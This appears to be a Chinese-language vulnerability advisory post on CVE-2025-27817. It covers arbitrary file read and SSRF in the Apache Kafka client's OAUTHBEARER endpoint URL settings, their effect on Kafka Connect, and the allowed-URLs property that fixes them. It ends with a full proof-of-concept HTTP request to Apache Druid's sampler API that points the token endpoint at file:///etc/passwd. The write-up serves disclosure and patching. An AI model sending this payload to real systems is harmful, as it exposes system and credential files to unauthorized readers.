CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞
CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞
Ots安全 2025-06-13 06:05
Apache Kafka 客户端中发现了一个潜在的任意文件读取和 SSRF 漏洞。
Apache Kafka 客户端接受用于设置与代理服务器的 SASL/OAUTHBEARER 连接的配置数据,包括“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”。Apache Kafka 允许客户端读取任意文件并将内容返回到错误日志中,或将请求发送到非预期位置。
在 Apache Kafka 客户端配置可由不受信任方指定的应用程序中,攻击者可能会使用“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”配置读取磁盘和环境变量中的任意内容,或向非预期位置发出请求。具体来说,该缺陷可能在 Apache Kafka Connect 中被用来从 REST API 访问升级到文件系统/环境/URL 访问,这在某些环境(包括 SaaS 产品)中可能是不受欢迎的。
自 Apache Kafka 3.9.1/4.0.0 版本起,我们添加了一个系统属性(“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”),用于在 SASL JAAS 配置中设置允许的 URL。在 3.9.1 版本中,为了向后兼容,它默认接受所有 URL。然而,在 4.0.0 及更新版本中,默认值为空列表,用户必须明确设置允许的 URL。
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1617{"type": "kafka","spec": { "type": "kafka", "ioConfig": { "type": "kafka", "consumerProperties": { "bootstrap.servers": "127.0.0.1:6666", "sasl.mechanism": "OAUTHBEARER", "security.protocol": "SASL_SSL", "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler", "sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd", "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;" }, "topic": "test", "useEarliestOffset": true, "inputFormat": { "type": "regex", "pattern": "([\\s\\S]*)", "listDelimiter": "", "columns": ["raw"] } }, "dataSchema": { "dataSource": "sample", "timestampSpec": { "column": "!!!_no_such_column_!!!", "missingValue": "1970-01-01T00:00:00Z" }, "dimensionsSpec": {}, "granularitySpec": { "rollup": false } }, "tuningConfig": { "type": "kafka" } },"samplerConfig": { "numRows": 500, "timeoutMs": 15000 }}
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里